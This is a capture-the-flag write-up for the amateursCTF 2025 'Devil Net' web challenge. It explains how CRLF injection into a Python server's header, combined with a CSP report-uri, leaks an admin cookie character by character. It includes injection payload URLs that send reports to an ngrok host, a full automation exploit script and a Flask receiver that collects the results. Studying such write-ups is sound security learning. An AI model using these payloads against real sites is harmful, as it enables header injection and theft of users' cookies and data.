# Devilnet Amateurs CTF 2025 Writeup 🖊️Author: DJumanto 🛡️Team: HCS 📖Note: This Writeup contains solver for Devil Net challenge in amateurs CTF 2025 --- ## TL;DR This writeup explains how we were able to predict client-side content through a CRLF injection vector combined with the ``report-uri`` CSP directive. --- ## Summary * **Vulnerabilities:** CRLF Injection, XS-Leaks. * **Target:** Read the flag in the admin page --- ## The App In this challenge, we're given an application with a single ``web.py`` file. web.py ```py #!/usr/bin/env python3 import base64, logging, sys, os, time from http.server import HTTPServer, BaseHTTPRequestHandler from urllib.parse import urlparse, parse_qs from http.cookies import SimpleCookie from selenium import webdriver from selenium.webdriver.chrome.options import Options from selenium.webdriver.chrome.service import Service flag = os.getenv("FLAG", "amateursCTF{t3st_f14g}") # charset: a-z{} binary_location = os.environ.get("CHROME_BIN", "/usr/bin/chromium") service_location = os.environ.get("CHROMEDRIVER", "/usr/bin/chromedriver") # Teemo website template = """<html> <head> <title>Teemo Scout</title> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> </head> <body> <h1>Welcome to the Teemo Scout</h1> <p>Use this service to scout for Teemo's hidden zones.</p> <p>To scout, append <code>?content=your_content_here</code> to the URL.</p> <p>Example: <code>/scout?content=HelloTeemo</code></p> <p>Happy scouting!</p> <p> <flag> <replaceme> </p> </body> </html> """ class TeemoScoutHandler(BaseHTTPRequestHandler): def do_GET(self): parsed_url = urlparse(self.path) path = parsed_url.path params = parse_qs(parsed_url.query) if path == '/bot': return self.handle_bot(params) parsed = urlparse(self.path) content = parse_qs(parsed.query).get('content', [""])[0] scout_out = 'deadbeef' + content if scout_out.count('\n') >= 5 or not all(x not in scout_out.lower() for x in ['stat', 'type','loc', 'ref']): scout_out = 'invalid content' self.server_version = f"TeemoNet/v2" self.sys_version = f'{scout_out}' self.send_response(200) self.send_header('Content-Type', 'text/html; charset=utf-8') cookies = SimpleCookie(self.headers.get('Cookie', '')) stuff = cookies.get('FLAG', None) body = template.replace("<flag>", stuff.value if stuff else "") body = body.replace("<replaceme>", scout_out) self.send_header('Content-Length', str(len(body))) self.end_headers() self.wfile.write(body.encode()) def handle_bot(self, params): print(f"[+] Bot requested to visit URL with params: {params}", file=sys.stderr) try: address = params.get('address', ['uhm'])[0] data = base64.b64decode(address).decode() url = f"http://127.0.0.1:9192/scout?content={data}" print(f"[+] Visiting {url}", file=sys.stderr) options = Options() options.add_argument("--headless") options.add_argument("--no-sandbox") options.add_argument("--disable-dev-shm-usage") # helps in Docker options.binary_location = binary_location service = Service(service_location) driver = webdriver.Chrome(service=service, options=options) print("[-] Chrome WebDriver started", file=sys.stderr) driver.get('http://127.0.0.1:9192/void') driver.add_cookie({'name':'FLAG','value': flag}) print(f"[-] Visiting URL {url}", file=sys.stderr) driver.get(url) driver.implicitly_wait(5) time.sleep(3) driver.quit() print(f"[-] Done visiting {url}", file=sys.stderr) self.send_response(302) self.send_header('Location', 'http://127.0.0.1:9192/') self.send_header('Content-Length','0') self.end_headers() except Exception as e: print(e, file=sys.stderr) self.send_response(400) self.send_header('Content-Length','0') self.end_headers() if __name__ == "__main__": logging.basicConfig(level=logging.INFO) port = 9192 logging.info(f"Teemo Scout server listening on {port}") HTTPServer(("0.0.0.0", port), TeemoScoutHandler).serve_forever() ``` So our primary target is pretty straight forward, the cookie of admin is embbeded in content replacing the ``<flag>`` and our ``content`` data is placed right in the system version and ``<replaceme>`` section > *Set the flag content* ```python cookies = SimpleCookie(self.headers.get('Cookie', '')) stuff = cookies.get('FLAG', None) body = template.replace("<flag>", stuff.value if stuff else "") ``` > *Set content to sys version and \<replaceme> section ```python parsed = urlparse(self.path) content = parse_qs(parsed.query).get('content', [""])[0] scout_out = 'deadbeef' + content if scout_out.count('\n') >= 5 or not all(x not in scout_out.lower() for x in ['stat', 'type','loc', 'ref']): scout_out = 'invalid content' self.server_version = f"TeemoNet/v2" self.sys_version = f'{scout_out}' ... body = body.replace("<replaceme>", scout_out) self.send_header('Content-Length', str(len(body))) self.end_headers() ``` Pretty straightforward right? let's fire up our docker and see the request and response. ![Screenshot 2025-11-19 213908](https://hackmd.io/_uploads/HktOwuog-x.png) As we can see, the CSP policy is highly restrictive, setting most sources to 'none'. This prevents traditional script injection and rules out straightforward XSS exploitation. So the question becomes: how can we still retrieve the flag under this constraint? --- ## CRLF Injection In the system version processing, there's clearly a CRLF Injection, this can be checked by inputting our content with ``?content=beefdead%0d%0aAlamak:%20Test123`` ```python self.server_version = f"TeemoNet/v2" self.sys_version = f'{scout_out}' ``` ![Screenshot 2025-11-19 214544](https://hackmd.io/_uploads/SyqPPOolZl.png) --- ## XS-Leaks with report-uri Next, what can we do with the restrictive CSP? since we can't attempt an XSS or CSS injection. The description of the challenge give us this: > *HINT: Teemo’s CSP scouts are too secure... In fact, they are so safe that sometimes they even report what they saw.* We can take advantage of the ``report-uri`` CSP directive to trigger and exfiltrate CSP violation reports to our server. Initially, I considered using report-sample to leak content that violates ``style-src``, but the flag is located too deep within the response, making this approach insufficient for full extraction. Instead, we inject a custom ``Content-Security-Policy-Report-Only`` header via CRLF injection: ``` ?content=%0D%0AContent-Security-Policy-Report-Only:%20style-src%20'{sha}';%20report-uri%20http://0.tcp.ap.ngrok.io:13436/?char={j};%0D%0A%0D%0A<style> ``` This forces the browser to apply our modified CSP rules, rendering the injected ``<style>`` block and triggering a Subresource Integrity (SRI) violation. The violation is then sent to our server as a CSP report: ![Screenshot 2025-11-19 220638](https://hackmd.io/_uploads/SyxDPdiebe.png) Since we only need to leak the flag content, we limit the HTTP response payload using a Content-Length header. For testing and to identify the correct offset, I temporarily replaced the ``<flag>`` portion with a local placeholder. Fast forward, because we already know that the format is ``amateursCTF{``, we set the content length starts from 528 ``` ?content=%0D%0AContent-Length:%20528%0D%0AContent-Security-Policy-Report-Only:%20style-src%20'{sha}';%20report-uri%20http://0.tcp.ap.ngrok.io:13436/?char={j};%0D%0A%0D%0A<style> ``` ![image](https://hackmd.io/_uploads/Hkc7wuig-x.png) The main challenge now is that we do not know the server’s ``Content-Length`` value, meaning the size of the flag may vary. Because of this, we must first brute-guess the correct ``Content-Length`` value before we can proceed with leaking the flag. The script below automates the process. It is not particularly fast, but it is sufficient to enumerate the correct length and ultimately retrieve the flag. --- ## Exploit POC automate.py ```python import hashlib import base64 from urllib.parse import quote, unquote import requests chars = "}abcdefghijklmnopqrstuvwxyz" POLL_SERVER = "http://0.tcp.ap.ngrok.io:15847" FLAG_LEN = "" dataLen = """ Content-Type: text/html; charset=utf-8 Content-Length: {}""" for i in range(66,69): for j in range(0,10): temp = dataLen.format(FLAG_LEN+str(j)) print(FLAG_LEN+str(j)) h = hashlib.sha256(temp.encode("utf-8")).digest() b64 = base64.b64encode(h).decode("utf-8") sha = f"sha256-{quote(b64)}" print(sha) target = f"%0D%0AContent-Length:%20{i}%0D%0AContent-Security-Policy-Report-Only:%20style-src%20'{sha}';%20report-uri%20{POLL_SERVER}/?char={j};%0D%0A%0D%0A<style>" info = base64.b64encode(target.encode()).decode() print(f"request with number {j}") resp = requests.get("http://localhost:9192/bot?address="+quote(info)) resp = requests.get(f"{POLL_SERVER}/getFlagIndex") if(str(j) in resp.text): print(f"We got the Length: {FLAG_LEN+str(j)}") FLAG_LEN += str(j) requests.get(f"{POLL_SERVER}/reset") break FLAG_LEN = int(FLAG_LEN)+1 print(f"Flag Length: {FLAG_LEN}") data = """ Content-Type: text/html; charset=utf-8 Content-Length: {} <html> <head> <title>Teemo Scout</title> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> </head> <body> <h1>Welcome to the Teemo Scout</h1> <p>Use this service to scout for Teemo's hidden zones.</p> <p>To scout, append <code>?content=your_content_here</code> to the URL.</p> <p>Example: <code>/scout?content=HelloTeemo</code></p> <p>Happy scouting!</p> <p> {}""" FLAG = "amateursCTF{" for i in range(528,540): for j in chars: temp = data.format(FLAG_LEN,FLAG+j) h = hashlib.sha256(temp.encode("utf-8")).digest() b64 = base64.b64encode(h).decode("utf-8") sha = f"sha256-{quote(b64)}" print(sha) target = f"%0D%0AContent-Length:%20{i}%0D%0AContent-Security-Policy-Report-Only:%20style-src%20'{sha}';%20report-uri%20{POLL_SERVER}/?char={j};%0D%0A%0D%0A<style>" info = base64.b64encode(target.encode()).decode() print(f"request with char {FLAG+j}") resp = requests.get("http://localhost:9192/bot?address="+quote(info)) resp = requests.get(f"{POLL_SERVER}/getFlagIndex") if(j in resp.text): print(f"We got the flag char: {j}") FLAG += j if j == "}": print(f"Flag Recovered: {FLAG}") exit() requests.get(f"{POLL_SERVER}/reset") break ``` reciever.py ```python from flask import Flask, request app = Flask(__name__) VALID_CHAR = "}abcdefghijklmnopqrstuvwxyz1234567890" @app.route("/", methods=["GET", "POST"]) def index(): global VALID_CHAR char_id = request.args.get("char") VALID_CHAR = VALID_CHAR.replace(char_id,"") print(f"char left: {VALID_CHAR}") return "OK" @app.route("/reset", methods=["GET"]) def reset(): global VALID_CHAR VALID_CHAR = "}abcdefghijklmnopqrstuvwxyz1234567890" return "OK" @app.route("/getFlagIndex", methods=["GET"]) def getFlag(): return VALID_CHAR if __name__ == "__main__": app.run(port=9999, host="0.0.0.0") ``` --- ## References * https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Security-Policy/report-uri. * https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Security-Policy-Report-Only. ---